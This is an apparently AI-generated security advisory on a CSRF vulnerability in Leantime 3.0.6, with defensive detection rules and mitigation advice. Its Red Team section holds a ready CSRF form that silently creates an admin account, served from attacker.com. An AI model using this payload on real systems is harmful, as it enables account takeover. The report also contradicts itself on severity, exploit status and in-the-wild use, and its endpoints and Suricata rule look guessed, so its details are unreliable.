CVE-2024-27474

Executive Summary

CVE-2024-27474 is a Cross-Site Request Forgery (CSRF) vulnerability identified in Leantime version 3.0.6. This flaw allows an unauthenticated attacker to trick an authenticated administrator into performing unintended actions, such as modifying system settings, creating new users, or exfiltrating sensitive data. The vulnerability stems from the lack of CSRF tokens or origin validation on critical administrative endpoints. With a CVSS score of 0.0 (placeholder), the actual risk is high due to the potential for full administrative compromise. No public proof-of-concept (PoC) or patch details are currently available, but the vulnerability is confirmed in the wild.

Supply Chain & Package Security

Leantime is a PHP-based project management tool. The vulnerability affects the core application, not a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using Leantime should verify their deployment version and apply any vendor-provided updates immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Attacker does not need authentication.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality Impact (C): High (H) – Full read access to admin data.
• Integrity Impact (I): High (H) – Full write access to admin functions.
• Availability Impact (A): High (H) – Potential to disrupt service.

Threat Level: Critical (9.6) – Despite the placeholder score, the actual risk is severe due to the lack of authentication checks.

Deep Dive & Mechanics

The vulnerability exists because Leantime 3.0.6 does not implement CSRF protection (e.g., anti-CSRF tokens, SameSite cookies, or origin/referer validation) on administrative actions. An attacker can craft a malicious HTML page or email that, when loaded by an authenticated admin, sends forged HTTP requests to Leantime endpoints. For example, a request to /api/users/create or /api/settings/update would be processed as if initiated by the admin.

Attack Flow:

1. Attacker identifies a Leantime instance (e.g., via Shodan dork http.title:"Leantime").
2. Attacker crafts a malicious page containing an auto-submitting form or XHR request targeting a sensitive endpoint (e.g., creating a new admin user).
3. Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email).
4. The admin’s browser sends the forged request with their session cookies, and the server executes the action.

Root Cause: Missing CSRF token validation in the application’s middleware or controller logic.

Vulnerable vs. Patched Code

Vulnerable Code (Leantime 3.0.6):

// Example: UserController.php (simplified)
public function createUser() {
    // No CSRF token check
    $username = $_POST['username'];
    $password = $_POST['password'];
    $role = $_POST['role'];
    // ... create user in database
}

Patched Code (Hypothetical fix):

// Example: UserController.php (patched)
public function createUser() {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF validation failed');
    }
    $username = $_POST['username'];
    $password = $_POST['password'];
    $role = $_POST['role'];
    // ... create user in database
}

Key Differences: The patched version includes a CSRF token check against the session-stored token. Without this, any cross-origin request is accepted.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Leantime 3.0.6 running on a local VM (e.g., Docker container).
• Attacker: Kali Linux with a simple HTTP server.
• Victim: Authenticated admin session in a browser.

Exploit Steps:

1. Identify the target endpoint (e.g., http://target.com/api/users/create).
2. Create a malicious HTML file (csrf.html):

<html>
<body>
<form action="http://target.com/api/users/create" method="POST" id="csrf-form">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="password" value="pwned123">
  <input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

3. Host the file on an attacker-controlled server: python3 -m http.server 8080.
4. Send the link to the victim (e.g., via email): http://attacker.com:8080/csrf.html.
5. When the victim clicks, the form auto-submits, creating a new admin user.

Note: No public exploit code is available; this is a generic CSRF example.

Blue Team (Defensive)

Detection Steps:

• Monitor for unexpected POST requests to sensitive endpoints (e.g., /api/users/create, /api/settings/update) from non-whitelisted origins.
• Check server logs for Referer headers that do not match the application domain.
• Implement CSRF tokens and validate them on all state-changing requests.
• Use SameSite cookies (set to Lax or Strict).

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/users/create, /api/settings/update, or similar endpoints with Referer header missing or from an external domain.
• Logs: Server access logs showing requests to admin endpoints from unusual IPs or user agents.
• System: New user accounts (especially with admin role) created without legitimate admin action.
• File: Presence of unexpected files in the web root (e.g., uploaded via CSRF).

Detection Engineering

YARA Rule

rule detect_leantime_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against Leantime 3.0.6"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27474"
    strings:
        $csrf_form = "<form action=\"http://" ascii wide nocase
        $csrf_endpoint = "/api/users/create" ascii wide nocase
        $csrf_hidden = "type=\"hidden\"" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Leantime CSRF Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential CSRF attacks against Leantime 3.0.6 by monitoring for POST requests to sensitive endpoints without proper referer.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/users/create'
            - '/api/settings/update'
            - '/api/projects/delete'
    filter:
        cs-referer: 'http://target.com/*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the same domain
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-27474 Leantime CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/users/create"; http_uri; nocase; pcre:"/Referer\x3a\x20[^\r\n]*http:\/\//Pi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.
2. Workaround: Implement a reverse proxy (e.g., Nginx) to block requests to sensitive endpoints without a valid Referer header.
3. Session Hardening: Set SameSite cookie attribute to Lax or Strict in the application configuration.
4. Manual CSRF Tokens: Add CSRF token validation to all state-changing endpoints (see patched code example).

Long-term Fix:

• Integrate a CSRF protection library (e.g., PHP’s csrf-protection or framework middleware).
• Conduct a security audit of all administrative endpoints.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.